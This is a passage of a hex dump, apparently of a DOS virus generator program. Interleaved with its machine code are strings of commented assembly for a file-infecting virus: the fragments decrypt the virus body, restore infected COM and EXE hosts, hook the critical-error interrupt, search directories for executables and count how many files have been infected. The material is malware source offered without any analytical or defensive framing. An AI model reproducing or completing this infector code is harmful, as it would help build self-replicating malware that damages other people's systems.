|00000d30| 6c 65 20 74 6f 20 69 6e | 66 65 63 74 06 53 74 61 |le to in|fect.Sta|
|00000d40| 72 74 3a 0f 64 62 20 20 | 20 20 20 30 65 39 68 2c |rt:.db | 0e9h,|
|00000d50| 32 2c 30 18 4a 75 6d 70 | 20 74 6f 20 74 68 65 20 |2,0.Jump| to the |
|00000d60| 6e 65 78 74 20 63 6f 6d | 6d 61 6e 64 09 64 77 20 |next com|mand.dw |
|00000d70| 20 20 20 20 69 64 20 53 | 6f 20 74 68 69 73 20 66 | id S|o this f|
|00000d80| 69 6c 65 20 64 6f 65 73 | 6e 74 20 67 65 74 20 69 |ile does|nt get i|
|00000d90| 6e 66 65 63 74 65 64 55 | 89 e5 b8 02 01 9a cd 02 |nfectedU|........|
|00000da0| 12 07 81 ec 02 01 b8 02 | 00 50 9a d6 0d 12 07 89 |........|.P......|
|00000db0| 46 fe 83 7e fe 00 75 13 | bf 29 02 0e 57 bf 90 05 |F..~..u.|.)..W...|
|00000dc0| 1e 57 b8 ff 00 50 9a ed | 0a 12 07 83 7e fe 01 75 |.W...P..|....~..u|
|00000dd0| 13 bf 2c 02 0e 57 bf 90 | 05 1e 57 b8 ff 00 50 9a |..,..W..|..W...P.|
|00000de0| ed 0a 12 07 83 7e fe 02 | 75 13 bf 2f 02 0e 57 bf |.....~..|u../..W.|
|00000df0| 90 05 1e 57 b8 ff 00 50 | 9a ed 0a 12 07 bf 92 0e |...W...P|........|
|00000e00| 1e 57 bf 32 02 0e 57 31 | c0 50 9a 01 07 12 07 9a |.W.2..W1|.P......|
|00000e10| dd 05 12 07 9a 91 02 12 | 07 bf 92 0e 1e 57 bf 3d |........|.....W.=|
|00000e20| 02 0e 57 31 c0 50 9a 01 | 07 12 07 bf 90 0b 1e 57 |..W1.P..|.......W|
|00000e30| 31 c0 50 9a 01 07 12 07 | bf 41 02 0e 57 31 c0 50 |1.P.....|.A..W1.P|
|00000e40| 9a 01 07 12 07 bf 90 0a | 1e 57 31 c0 50 9a 01 07 |........|.W1.P...|
|00000e50| 12 07 9a dd 05 12 07 9a | 91 02 12 07 bf 92 0e 1e |........|........|
|00000e60| 57 bf 32 02 0e 57 31 c0 | 50 9a 01 07 12 07 9a dd |W.2..W1.|P.......|
|00000e70| 05 12 07 9a 91 02 12 07 | bf 92 0e 1e 57 9a dd 05 |........|....W...|
|00000e80| 12 07 9a 91 02 12 07 bf | 92 0e 1e 57 9a dd 05 12 |........|...W....|
|00000e90| 07 9a 91 02 12 07 bf 92 | 0e 1e 57 bf 4e 02 0e 57 |........|..W.N..W|
|00000ea0| 31 c0 50 9a 01 07 12 07 | 9a dd 05 12 07 9a 91 02 |1.P.....|........|
|00000eb0| 12 07 bf 6c 02 0e 57 bf | 7c 02 0e 57 e8 9d fb bf |...l..W.||..W....|
|00000ec0| 7d 02 0e 57 bf 8a 02 0e | 57 e8 90 fb bf 92 0e 1e |}..W....|W.......|
|00000ed0| 57 9a dd 05 12 07 9a 91 | 02 12 07 8d be fe fe 16 |W.......|........|
|00000ee0| 57 bf a4 02 0e 57 9a d3 | 0a 12 07 bf 90 03 1e 57 |W....W..|.......W|
|00000ef0| 9a 52 0b 12 07 bf ab 02 | 0e 57 9a 52 0b 12 07 bf |.R......|.W.R....|
|00000f00| ad 02 0e 57 e8 82 fc 80 | 3e 91 06 30 76 22 8d be |...W....|>..0v"..|
|00000f10| fe fe 16 57 bf c3 02 0e | 57 9a d3 0a 12 07 bf 90 |...W....|W.......|
|00000f20| 06 1e 57 9a 52 0b 12 07 | bf cf 02 0e 57 e8 59 fc |..W.R...|....W.Y.|
|00000f30| bf 92 0e 1e 57 9a dd 05 | 12 07 9a 91 02 12 07 bf |....W...|........|
|00000f40| ec 02 0e 57 bf 7c 02 0e | 57 e8 3d fc 80 3e 66 00 |...W.|..|W.=..>f.|
|00000f50| 00 75 0e 80 3e 61 00 00 | 75 07 80 3e 60 00 00 74 |.u..>a..|u..>`..t|
|00000f60| 29 bf f3 02 0e 57 bf 03 | 03 0e 57 e8 ee fa bf 1c |)....W..|..W.....|
|00000f70| 03 0e 57 bf 26 03 0e 57 | e8 e1 fa bf 92 0e 1e 57 |..W.&..W|.......W|
|00000f80| 9a dd 05 12 07 9a 91 02 | 12 07 89 ec 5d c3 06 56 |........|....]..V|
|00000f90| 69 72 75 73 3a 00 10 63 | 61 6c 6c 20 20 20 20 72 |irus:..c|all r|
|00000fa0| 65 61 6c 63 6f 64 65 1e | 50 75 73 68 20 63 75 72 |ealcode.|Push cur|
|00000fb0| 72 65 6e 74 20 6c 6f 63 | 61 74 69 6f 6e 20 6f 6e |rent loc|ation on|
|00000fc0| 20 73 74 61 63 6b 09 52 | 65 61 6c 63 6f 64 65 3a | stack.R|ealcode:|
|00000fd0| 03 6e 6f 70 08 70 6f 70 | 20 20 20 20 20 16 47 65 |.nop.pop| .Ge|
|00000fe0| 74 20 6c 6f 63 61 74 69 | 6f 6e 20 6f 66 66 20 73 |t locati|on off s|
|00000ff0| 74 61 63 6b 08 73 75 62 | 20 20 20 20 20 10 2c 6f |tack.sub| .,o|
|00001000| 66 66 73 65 74 20 72 65 | 61 6c 63 6f 64 65 19 41 |ffset re|alcode.A|
|00001010| 64 6a 75 73 74 20 69 74 | 20 66 6f 72 20 6f 75 72 |djust it| for our|
|00001020| 20 70 6f 69 6e 74 65 72 | 17 63 61 6c 6c 20 20 20 | pointer|.call |
|00001030| 20 65 6e 63 72 79 70 74 | 5f 64 65 63 72 79 70 74 | encrypt|_decrypt|
|00001040| 17 44 65 63 72 79 70 74 | 20 74 68 65 20 76 69 72 |.Decrypt| the vir|
|00001050| 75 73 20 66 69 72 73 74 | 19 45 6e 63 72 79 70 74 |us first|.Encrypt|
|00001060| 5f 53 74 61 72 74 20 20 | 20 65 71 75 20 20 20 20 |_Start | equ |
|00001070| 20 24 16 46 72 6f 6d 20 | 68 65 72 65 20 69 73 20 | $.From |here is |
|00001080| 65 6e 63 72 79 70 74 65 | 64 02 62 70 0b 6d 6f 76 |encrypte|d.bp.mov|
|00001090| 20 20 20 20 20 62 70 2c | 09 53 65 74 20 75 70 20 | bp,|.Set up |
|000010a0| 62 70 0d 63 6d 70 20 20 | 20 20 20 73 70 2c 69 64 |bp.cmp | sp,id|
|000010b0| 1a 49 73 20 74 68 69 73 | 20 66 69 6c 65 20 61 20 |.Is this| file a |
|000010c0| 43 4f 4d 20 6f 72 20 45 | 58 45 3f 12 6a 65 20 20 |COM or E|XE?.je |
|000010d0| 20 20 20 20 72 65 73 74 | 6f 72 65 45 58 45 18 49 | rest|oreEXE.I|
|000010e0| 74 73 20 61 6e 20 45 58 | 45 20 73 6f 20 72 65 73 |ts an EX|E so res|
|000010f0| 74 6f 72 65 20 69 74 1e | 6c 65 61 20 20 20 20 20 |tore it.|lea |
|00001100| 73 69 2c 5b 62 70 2b 6f | 66 66 73 65 74 20 6f 6c |si,[bp+o|ffset ol|
|00001110| 64 6a 75 6d 70 5d 1a 4c | 6f 63 61 74 69 6f 6e 20 |djump].L|ocation |
|00001120| 6f 66 20 6f 6c 64 20 6a | 75 6d 70 20 69 6e 20 73 |of old j|ump in s|
|00001130| 69 0f 6d 6f 76 20 20 20 | 20 20 64 69 2c 31 30 30 |i.mov | di,100|
|00001140| 68 18 52 65 73 74 6f 72 | 65 20 6e 65 77 20 6a 75 |h.Restor|e new ju|
|00001150| 6d 70 20 74 6f 20 31 30 | 30 68 0a 70 75 73 68 20 |mp to 10|0h.push |
|00001160| 20 20 20 64 69 26 53 61 | 76 65 20 73 6f 20 77 65 | di&Sa|ve so we|
|00001170| 20 63 6f 75 6c 64 20 6a | 75 73 74 20 72 65 74 75 | could j|ust retu|
|00001180| 72 6e 20 77 68 65 6e 20 | 64 6f 6e 65 05 6d 6f 76 |rn when |done.mov|
|00001190| 73 62 0b 4d 6f 76 65 20 | 61 20 62 79 74 65 05 6d |sb.Move |a byte.m|
|000011a0| 6f 76 73 77 0b 4d 6f 76 | 65 20 61 20 77 6f 72 64 |ovsw.Mov|e a word|
|000011b0| 11 4d 6f 76 65 20 61 6e | 6f 74 68 65 72 20 77 6f |.Move an|other wo|
|000011c0| 72 64 13 6a 6d 70 20 20 | 20 20 20 65 78 69 74 72 |rd.jmp | exitr|
|000011d0| 65 73 74 6f 72 65 0b 52 | 65 73 74 6f 72 65 45 58 |estore.R|estoreEX|
|000011e0| 45 3a 0a 70 75 73 68 20 | 20 20 20 64 73 0b 53 61 |E:.push | ds.Sa|
|000011f0| 76 65 20 45 78 45 20 64 | 73 0a 70 75 73 68 20 20 |ve ExE d|s.push |
|00001200| 20 20 65 73 0b 53 61 76 | 65 20 45 78 45 20 65 73 | es.Sav|e ExE es|
|00001210| 0a 70 75 73 68 20 20 20 | 20 63 73 0a 70 6f 70 20 |.push | cs.pop |
|00001220| 20 20 20 20 64 73 10 44 | 53 20 6e 6f 77 20 65 71 | ds.D|S now eq|
|00001230| 75 61 6c 73 20 43 53 0a | 70 6f 70 20 20 20 20 20 |uals CS.|pop |
|00001240| 65 73 10 45 53 20 6e 6f | 77 20 65 71 75 61 6c 73 |es.ES no|w equals|
|00001250| 20 43 53 18 6c 65 61 20 | 20 20 20 20 73 69 2c 5b | CS.lea | si,[|
|00001260| 62 70 2b 6a 6d 70 73 61 | 76 65 32 5d 17 6c 65 61 |bp+jmpsa|ve2].lea|
|00001270| 20 20 20 20 20 64 69 2c | 5b 62 70 2b 6a 6d 70 73 | di,|[bp+jmps|
|00001280| 61 76 65 5d 0c 45 78 69 | 74 52 65 73 74 6f 72 65 |ave].Exi|tRestore|
|00001290| 3a 1a 6c 65 61 20 20 20 | 20 20 64 78 2c 5b 62 70 |:.lea | dx,[bp|
|000012a0| 2b 6f 66 66 73 65 74 20 | 64 74 61 5d 14 57 68 65 |+offset |dta].Whe|
|000012b0| 72 65 20 74 6f 20 70 75 | 74 20 4e 65 77 20 44 54 |re to pu|t New DT|
|000012c0| 41 0f 63 61 6c 6c 20 20 | 20 20 73 65 74 5f 44 54 |A.call | set_DT|
|000012d0| 41 07 4d 6f 76 65 20 69 | 74 1c 6d 6f 76 20 20 20 |A.Move i|t.mov |
|000012e0| 20 20 5b 63 6f 75 6e 74 | 65 72 5d 2c 62 79 74 65 | [count|er],byte|
|000012f0| 20 70 74 72 20 30 0d 43 | 6c 65 61 72 20 63 6f 75 | ptr 0.C|lear cou|
|00001300| 6e 74 65 72 1f 6d 6f 76 | 20 20 20 20 20 5b 62 70 |nter.mov| [bp|
|00001310| 2b 63 6f 75 6e 74 65 72 | 5d 2c 62 79 74 65 20 70 |+counter|],byte p|
|00001320| 74 72 20 30 10 6d 6f 76 | 20 20 20 20 20 61 78 2c |tr 0.mov| ax,|
|00001330| 33 35 32 34 68 12 47 65 | 74 20 69 6e 74 20 32 34 |3524h.Ge|t int 24|
|00001340| 20 68 61 6e 64 6c 65 72 | 0b 69 6e 74 20 20 20 20 | handler|.int |
|00001350| 20 32 31 68 14 49 74 20 | 67 65 74 73 20 70 75 74 | 21h.It |gets put|
|00001360| 20 69 6e 20 45 53 3a 42 | 58 21 6d 6f 76 20 20 20 | in ES:B|X!mov |
|00001370| 20 20 77 6f 72 64 20 70 | 74 72 20 5b 62 70 2b 6f | word p|tr [bp+o|
|00001380| 6c 64 69 6e 74 32 34 5d | 2c 62 78 07 53 61 76 65 |ldint24]|,bx.Save|
|00001390| 20 69 74 23 6d 6f 76 20 | 20 20 20 20 77 6f 72 64 | it#mov | word|
|000013a0| 20 70 74 72 20 5b 62 70 | 2b 6f 6c 64 69 6e 74 32 | ptr [bp|+oldint2|
|000013b0| 34 2b 32 5d 2c 65 73 1e | 6d 6f 76 20 20 20 20 20 |4+2],es.|mov |
|000013c0| 77 6f 72 64 20 70 74 72 | 20 5b 6f 6c 64 69 6e 74 |word ptr| [oldint|
|000013d0| 32 34 5d 2c 62 78 20 6d | 6f 76 20 20 20 20 20 77 |24],bx m|ov w|
|000013e0| 6f 72 64 20 70 74 72 20 | 5b 6f 6c 64 69 6e 74 32 |ord ptr |[oldint2|
|000013f0| 34 2b 32 5d 2c 65 73 0e | 6d 6f 76 20 20 20 20 20 |4+2],es.|mov |
|00001400| 61 68 2c 32 35 68 16 53 | 65 74 20 6e 65 77 20 69 |ah,25h.S|et new i|
|00001410| 6e 74 20 32 34 20 68 61 | 6e 64 6c 65 72 1c 6c 65 |nt 24 ha|ndler.le|
|00001420| 61 20 20 20 20 20 64 78 | 2c 5b 62 70 2b 6f 66 66 |a dx|,[bp+off|
|00001430| 73 65 74 20 69 6e 74 32 | 34 5d 17 4c 6f 63 20 6f |set int2|4].Loc o|
|00001440| 66 20 6e 65 77 20 6f 6e | 65 20 69 6e 20 44 53 3a |f new on|e in DS:|
|00001450| 44 58 17 6d 6f 76 20 20 | 20 20 20 64 78 2c 6f 66 |DX.mov | dx,of|
|00001460| 66 73 65 74 20 69 6e 74 | 32 34 0a 52 65 73 74 6f |fset int|24.Resto|
|00001470| 72 65 20 45 53 13 27 63 | 75 7a 20 69 74 20 77 61 |re ES.'c|uz it wa|
|00001480| 73 20 63 68 61 6e 67 65 | 64 0e 6d 6f 76 20 20 20 |s change|d.mov |
|00001490| 20 20 61 68 2c 34 37 68 | 19 47 65 74 20 74 68 65 | ah,47h|.Get the|
|000014a0| 20 63 75 72 72 65 6e 74 | 20 64 69 72 65 63 74 6f | current| directo|
|000014b0| 72 79 0d 6d 6f 76 20 20 | 20 20 20 64 6c 2c 30 68 |ry.mov | dl,0h|
|000014c0| 10 4f 6e 20 63 75 72 72 | 65 6e 74 20 64 72 69 76 |.On curr|ent driv|
|000014d0| 65 21 6c 65 61 20 20 20 | 20 20 73 69 2c 5b 62 70 |e!lea | si,[bp|
|000014e0| 2b 6f 66 66 73 65 74 20 | 63 75 72 72 65 6e 74 64 |+offset |currentd|
|000014f0| 69 72 5d 10 57 68 65 72 | 65 20 74 6f 20 6b 65 65 |ir].Wher|e to kee|
|00001500| 70 20 69 74 1c 6d 6f 76 | 20 20 20 20 20 73 69 2c |p it.mov| si,|
|00001510| 6f 66 66 73 65 74 20 63 | 75 72 72 65 6e 74 64 69 |offset c|urrentdi|
|00001520| 72 08 44 69 72 4c 6f 6f | 70 3a 1d 6d 6f 76 20 20 |r.DirLoo|p:.mov |
|00001530| 20 20 20 64 78 2c 6f 66 | 66 73 65 74 20 65 78 65 | dx,of|fset exe|
|00001540| 66 69 6c 65 73 70 65 63 | 11 46 69 6c 65 73 20 74 |filespec|.Files t|
|00001550| 6f 20 6c 6f 6f 6b 20 66 | 6f 72 22 6c 65 61 20 20 |o look f|or"lea |
|00001560| 20 20 20 64 78 2c 5b 62 | 70 2b 6f 66 66 73 65 74 | dx,[b|p+offset|
|00001570| 20 65 78 65 66 69 6c 65 | 73 70 65 63 5d 11 63 61 | exefile|spec].ca|
|00001580| 6c 6c 20 20 20 20 66 69 | 6e 64 66 69 72 73 74 1d |ll fi|ndfirst.|
|00001590| 6d 6f 76 20 20 20 20 20 | 64 78 2c 6f 66 66 73 65 |mov |dx,offse|
|000015a0| 74 20 63 6f 6d 66 69 6c | 65 73 70 65 63 22 6c 65 |t comfil|espec"le|
|000015b0| 61 20 20 20 20 20 64 78 | 2c 5b 62 70 2b 6f 66 66 |a dx|,[bp+off|
|000015c0| 73 65 74 20 63 6f 6d 66 | 69 6c 65 73 70 65 63 5d |set comf|ilespec]|
|000015d0| 55 89 e5 b8 02 01 9a cd | 02 12 07 81 ec 02 01 bf |U.......|........|
|000015e0| 3e 05 0e 57 bf 45 05 0e | 57 e8 9d f5 80 3e 60 00 |>..W.E..|W....>`.|
|000015f0| 00 74 03 e9 0a 01 bf 46 | 05 0e 57 bf 57 05 0e 57 |.t.....F|..W.W..W|
|00001600| e8 59 f4 bf 92 0e 1e 57 | 9a dd 05 12 07 9a 91 02 |.Y.....W|........|
|00001610| 12 07 bf 76 05 0e 57 bf | 45 05 0e 57 e8 6a f5 b8 |...v..W.|E..W.j..|
|00001620| 06 00 50 9a d6 0d 12 07 | 89 46 fc b8 01 00 3b 46 |..P.....|.F....;F|
|00001630| fc 7f 1d 89 46 fe eb 03 | ff 46 fe bf 80 05 0e 57 |....F...|.F.....W|
|00001640| bf 45 05 0e 57 e8 14 f4 | 8b 46 fe 3b 46 fc 75 e8 |.E..W...|.F.;F.u.|
|00001650| 8d be fe fe 16 57 bf 84 | 05 0e 57 9a d3 0a 12 07 |.....W..|..W.....|
|00001660| bf 90 05 1e 57 9a 52 0b | 12 07 bf 8d 05 0e 57 e8 |....W.R.|......W.|
|00001670| ea f3 b8 06 00 50 9a d6 | 0d 12 07 89 46 fc b8 01 |.....P..|....F...|
|00001680| 00 3b 46 fc 7f 1d 89 46 | fe eb 03 ff 46 fe bf 80 |.;F....F|....F...|
|00001690| 05 0e 57 bf 45 05 0e 57 | e8 c1 f3 8b 46 fe 3b 46 |..W.E..W|....F.;F|
|000016a0| fc 75 e8 8d be fe fe 16 | 57 bf a4 05 0e 57 9a d3 |.u......|W....W..|
|000016b0| 0a 12 07 bf 90 05 1e 57 | 9a 52 0b 12 07 bf ad 05 |.......W|.R......|
|000016c0| 0e 57 9a 52 0b 12 07 bf | be 05 0e 57 e8 8d f3 b8 |.W.R....|...W....|
|000016d0| 06 00 50 9a d6 0d 12 07 | 89 46 fc b8 01 00 3b 46 |..P.....|.F....;F|
|000016e0| fc 7f 1d 89 46 fe eb 03 | ff 46 fe bf 80 05 0e 57 |....F...|.F.....W|
|000016f0| bf 45 05 0e 57 e8 64 f3 | 8b 46 fe 3b 46 fc 75 e8 |.E..W.d.|.F.;F.u.|
|00001700| 80 3e 65 00 00 74 38 bf | d8 05 0e 57 bf f0 05 0e |.>e..t8.|...W....|
|00001710| 57 e8 48 f3 bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.H.....|W.......|
|00001720| 02 12 07 bf 08 06 0e 57 | bf 22 06 0e 57 e8 59 f4 |.......W|."..W.Y.|
|00001730| bf 92 0e 1e 57 9a dd 05 | 12 07 9a 91 02 12 07 80 |....W...|........|
|00001740| 3e 60 00 00 75 42 bf 90 | 05 1e 57 bf 39 06 0e 57 |>`..uB..|..W.9..W|
|00001750| 9a c4 0b 12 07 74 31 8d | be fe fe 16 57 bf 3c 06 |.....t1.|....W.<.|
|00001760| 0e 57 9a d3 0a 12 07 bf | 90 05 1e 57 9a 52 0b 12 |.W......|...W.R..|
|00001770| 07 bf 48 06 0e 57 e8 e3 | f2 bf 92 0e 1e 57 9a dd |..H..W..|.....W..|
|00001780| 05 12 07 9a 91 02 12 07 | 80 3e 67 00 00 74 37 80 |........|.>g..t7.|
|00001790| 3e 66 00 00 74 30 80 3e | 60 00 00 75 29 bf 52 06 |>f..t0.>|`..u).R.|
|000017a0| 0e 57 bf 60 06 0e 57 e8 | b2 f2 bf 7b 06 0e 57 bf |.W.`..W.|...{..W.|
|000017b0| 8e 06 0e 57 e8 a5 f2 bf | 92 0e 1e 57 9a dd 05 12 |...W....|...W....|
|000017c0| 07 9a 91 02 12 07 80 3e | 66 00 00 74 78 80 3e 60 |.......>|f..tx.>`|
|000017d0| 00 00 75 71 bf a7 06 0e | 57 bf c6 06 0e 57 e8 7b |..uq....|W....W.{|
|000017e0| f2 bf e1 06 0e 57 bf f1 | 06 0e 57 e8 6e f2 bf 0a |.....W..|..W.n...|
|000017f0| 07 0e 57 bf 15 07 0e 57 | e8 61 f2 bf 3c 07 0e 57 |..W....W|.a..<..W|
|00001800| bf 42 07 0e 57 e8 54 f2 | bf 4e 07 0e 57 bf 54 07 |.B..W.T.|.N..W.T.|
|00001810| 0e 57 e8 47 f2 bf 4e 07 | 0e 57 bf 60 07 0e 57 e8 |.W.G..N.|.W.`..W.|
|00001820| 3a f2 80 3e 67 00 00 74 | 0d bf 72 07 0e 57 bf 45 |:..>g..t|..r..W.E|
|00001830| 05 0e 57 e8 26 f2 bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.&...|..W.....|
|00001840| 9a 91 02 12 07 80 3e 67 | 00 00 75 03 e9 d8 00 80 |......>g|..u.....|
|00001850| 3e 60 00 00 74 03 e9 ce | 00 80 3e 66 00 00 74 0d |>`..t...|..>f..t.|
|00001860| bf 86 07 0e 57 bf 45 05 | 0e 57 e8 1c f3 bf 92 07 |....W.E.|.W......|
|00001870| 0e 57 bf 9d 07 0e 57 e8 | e2 f1 bf a9 07 0e 57 bf |.W....W.|......W.|
|00001880| b4 07 0e 57 e8 d5 f1 bf | c0 07 0e 57 bf 45 05 0e |...W....|...W.E..|
|00001890| 57 e8 c8 f1 bf cb 07 0e | 57 bf d6 07 0e 57 e8 bb |W.......|W....W..|
|000018a0| f1 bf c0 07 0e 57 bf 45 | 05 0e 57 e8 ae f1 bf e7 |.....W.E|..W.....|
|000018b0| 07 0e 57 bf f2 07 0e 57 | e8 a1 f1 bf 92 0e 1e 57 |..W....W|.......W|
|000018c0| 9a dd 05 12 07 9a 91 02 | 12 07 bf 03 08 0e 57 bf |........|......W.|
|000018d0| 45 05 0e 57 e8 85 f1 bf | 1c 08 0e 57 bf 45 05 0e |E..W....|...W.E..|
|000018e0| 57 e8 78 f1 bf 4e 07 0e | 57 bf 54 07 0e 57 e8 6b |W.x..N..|W.T..W.k|
|000018f0| f1 bf 4e 07 0e 57 bf 54 | 07 0e 57 e8 5e f1 bf 4e |..N..W.T|..W.^..N|
|00001900| 07 0e 57 bf 54 07 0e 57 | e8 51 f1 bf 4e 07 0e 57 |..W.T..W|.Q..N..W|
|00001910| bf 54 07 0e 57 e8 44 f1 | bf 92 0e 1e 57 9a dd 05 |.T..W.D.|....W...|
|00001920| 12 07 9a 91 02 12 07 80 | 3e 67 00 00 74 1b 80 3e |........|>g..t..>|
|00001930| 60 00 00 75 14 80 3e 66 | 00 00 74 0d bf 34 08 0e |`..u..>f|..t..4..|
|00001940| 57 bf 45 05 0e 57 e8 40 | f2 80 3e 61 00 00 75 30 |W.E..W.@|..>a..u0|
|00001950| 80 3e 60 00 00 75 29 bf | 41 08 0e 57 bf 5c 08 0e |.>`..u).|A..W.\..|
|00001960| 57 e8 f8 f0 bf 71 08 0e | 57 bf 81 08 0e 57 e8 eb |W....q..|W....W..|
|00001970| f0 bf 92 0e 1e 57 9a dd | 05 12 07 9a 91 02 12 07 |.....W..|........|
|00001980| 80 3e 91 06 30 76 28 80 | 3e 60 00 00 74 0d bf 89 |.>..0v(.|>`..t...|
|00001990| 08 0e 57 bf a6 08 0e 57 | e8 c1 f0 80 3e 60 00 00 |..W....W|....>`..|
|000019a0| 75 0d bf b4 08 0e 57 bf | a6 08 0e 57 e8 ad f0 80 |u.....W.|...W....|
|000019b0| 3e 62 00 00 75 03 e9 e5 | 00 bf d4 08 0e 57 bf e5 |>b..u...|.....W..|
|000019c0| 08 0e 57 e8 96 f0 bf f8 | 08 0e 57 bf 04 09 0e 57 |..W.....|..W....W|
|000019d0| e8 89 f0 80 3e 60 00 00 | 75 1a bf 19 09 0e 57 bf |....>`..|u.....W.|
|000019e0| 3b 09 0e 57 e8 75 f0 bf | 43 09 0e 57 bf 45 05 0e |;..W.u..|C..W.E..|
|000019f0| 57 e8 68 f0 80 3e 60 00 | 00 74 1a bf 67 09 0e 57 |W.h..>`.|.t..g..W|
|00001a00| bf 3b 09 0e 57 e8 54 f0 | bf 86 09 0e 57 bf 45 05 |.;..W.T.|....W.E.|
|00001a10| 0e 57 e8 47 f0 bf 92 0e | 1e 57 9a dd 05 12 07 9a |.W.G....|.W......|
|00001a20| 91 02 12 07 bf a7 09 0e | 57 bf b6 09 0e 57 e8 2b |........|W....W.+|
|00001a30| f0 80 3e 60 00 00 75 0d | bf cd 09 0e 57 bf ea 09 |..>`..u.|....W...|
|00001a40| 0e 57 e8 17 f0 80 3e 60 | 00 00 74 0d bf 02 0a 0e |.W....>`|..t.....|
|00001a50| 57 bf ea 09 0e 57 e8 03 | f0 bf f8 08 0e 57 bf 45 |W....W..|.....W.E|
|00001a60| 05 0e 57 e8 f6 ef bf 92 | 0e 1e 57 9a dd 05 12 07 |..W.....|..W.....|
|00001a70| 9a 91 02 12 07 bf c0 07 | 0e 57 bf 1a 0a 0e 57 e8 |........|.W....W.|
|00001a80| da ef bf e7 07 0e 57 bf | 25 0a 0e 57 e8 cd ef bf |......W.|%..W....|
|00001a90| 92 0e 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 80 3e |...W....|.......>|
|00001aa0| 64 00 00 74 5e bf 39 0a | 0e 57 bf 48 0a 0e 57 e8 |d..t^.9.|.W.H..W.|
|00001ab0| aa ef bf 62 0a 0e 57 bf | 70 0a 0e 57 e8 9d ef 80 |...b..W.|p..W....|
|00001ac0| 3e 60 00 00 75 0d bf 81 | 0a 0e 57 bf a3 0a 0e 57 |>`..u...|..W....W|
|00001ad0| e8 89 ef 80 3e 60 00 00 | 74 0d bf b4 0a 0e 57 bf |....>`..|t.....W.|
|00001ae0| a3 0a 0e 57 e8 75 ef bf | f8 08 0e 57 bf 45 05 0e |...W.u..|...W.E..|
|00001af0| 57 e8 68 ef bf 92 0e 1e | 57 9a dd 05 12 07 9a 91 |W.h.....|W.......|
|00001b00| 02 12 07 80 3e 64 00 00 | 74 0d bf d1 0a 0e 57 bf |....>d..|t.....W.|
|00001b10| 45 05 0e 57 e8 72 f0 80 | 3e 67 00 00 74 35 80 3e |E..W.r..|>g..t5.>|
|00001b20| 60 00 00 74 0d bf da 0a | 0e 57 bf f8 0a 0e 57 e8 |`..t....|.W....W.|
|00001b30| 2a ef 80 3e 60 00 00 75 | 0d bf 0a 0b 0e 57 bf f8 |*..>`..u|.....W..|
|00001b40| 0a 0e 57 e8 16 ef bf 2d | 0b 0e 57 bf 45 05 0e 57 |..W....-|..W.E..W|
|00001b50| e8 09 ef 80 3e 66 00 00 | 74 35 80 3e 60 00 00 74 |....>f..|t5.>`..t|
|00001b60| 0d bf 3f 0b 0e 57 bf f8 | 0a 0e 57 e8 ee ee 80 3e |..?..W..|..W....>|
|00001b70| 60 00 00 75 0d bf 5d 0b | 0e 57 bf f8 0a 0e 57 e8 |`..u..].|.W....W.|
|00001b80| da ee bf 2d 0b 0e 57 bf | 45 05 0e 57 e8 cd ee bf |...-..W.|E..W....|
|00001b90| 92 0e 1e 57 9a dd 05 12 | 07 9a 91 02 12 07 89 ec |...W....|........|
|00001ba0| 5d c3 1b 6d 6f 76 20 20 | 20 20 20 64 78 2c 6f 66 |]..mov | dx,of|
|00001bb0| 66 73 65 74 20 64 69 72 | 65 63 74 6f 72 79 18 57 |fset dir|ectory.W|
|00001bc0| 68 65 72 65 20 74 6f 20 | 63 68 61 6e 67 65 20 74 |here to |change t|
|00001bd0| 6f 6f 20 27 2e 2e 27 20 | 6c 65 61 20 20 20 20 20 |oo '..' |lea |
|00001be0| 64 78 2c 5b 62 70 2b 6f | 66 66 73 65 74 20 64 69 |dx,[bp+o|ffset di|
|00001bf0| 72 65 63 74 6f 72 79 5d | 0e 6d 6f 76 20 20 20 20 |rectory]|.mov |
|00001c00| 20 61 68 2c 33 62 68 10 | 43 68 61 6e 67 65 20 64 | ah,3bh.|Change d|
|00001c10| 69 72 65 63 74 6f 72 79 | 0b 69 6e 74 20 20 20 20 |irectory|.int |
|00001c20| 20 32 31 68 00 0f 6a 6e | 63 20 20 20 20 20 64 69 | 21h..jn|c di|
|00001c30| 72 6c 6f 6f 70 21 49 66 | 20 6e 6f 20 70 72 6f 62 |rloop!If| no prob|
|00001c40| 6c 65 6d 73 20 74 68 65 | 20 6c 6f 6f 6b 20 66 6f |lems the| look fo|
|00001c50| 72 20 66 69 6c 65 73 55 | 89 e5 31 c0 9a cd 02 12 |r filesU|..1.....|
|00001c60| 07 80 3e 61 00 00 75 5e | 80 3e 60 00 00 74 0d bf |..>a..u^|.>`..t..|
|00001c70| 52 11 0e 57 bf 6e 11 0e | 57 e8 e0 ed 80 3e 60 00 |R..W.n..|W....>`.|
|00001c80| 00 75 0d bf 87 11 0e 57 | bf 6e 11 0e 57 e8 cc ed |.u.....W|.n..W...|
|00001c90| bf a8 11 0e 57 bf b7 11 | 0e 57 e8 bf ed bf c8 11 |....W...|.W......|
|00001ca0| 0e 57 bf d4 11 0e 57 e8 | b2 ed bf d5 11 0e 57 bf |.W....W.|......W.|
|00001cb0| e5 11 0e 57 e8 a5 ed bf | 92 0e 1e 57 9a dd 05 12 |...W....|...W....|
|00001cc0| 07 9a 91 02 12 07 5d c3 | 0a 46 69 6e 64 46 69 72 |......].|.FindFir|
|00001cd0| 73 74 3a 00 1d 63 6d 70 | 20 20 20 20 20 5b 62 70 |st:..cmp| [bp|
|00001ce0| 2b 63 6f 75 6e 74 65 72 | 5d 2c 6d 61 78 66 69 6c |+counter|],maxfil|
|00001cf0| 65 73 1a 48 61 76 65 20 | 77 65 20 69 6e 66 65 63 |es.Have |we infec|
|00001d00| 74 65 64 20 74 6f 6f 20 | 6d 61 6e 79 3f 1c 63 6d |ted too |many?.cm|
|00001d10| 70 20 20 20 20 5b 62 70 | 2b 63 6f 75 6e 74 65 72 |p [bp|+counter|
|00001d20| 5d 2c 6d 61 78 66 69 6c | 65 73 19 48 61 76 65 20 |],maxfil|es.Have |
|00001d30| 77 65 20 69 6e 66 65 63 | 74 65 64 20 54 6f 6f 20 |we infec|ted Too |
|00001d40| 6d 61 6e 79 0b 6a 61 20 | 20 20 20 20 71 75 69 74 |many.ja | quit|
|00001d50| 03 59 75 70 0e 6d 6f 76 | 20 20 20 20 20 61 68 2c |.Yup.mov| ah,|
|00001d60| 34 65 68 0f 46 69 6e 64 | 20 66 69 72 73 74 20 66 |4eh.Find| first f|
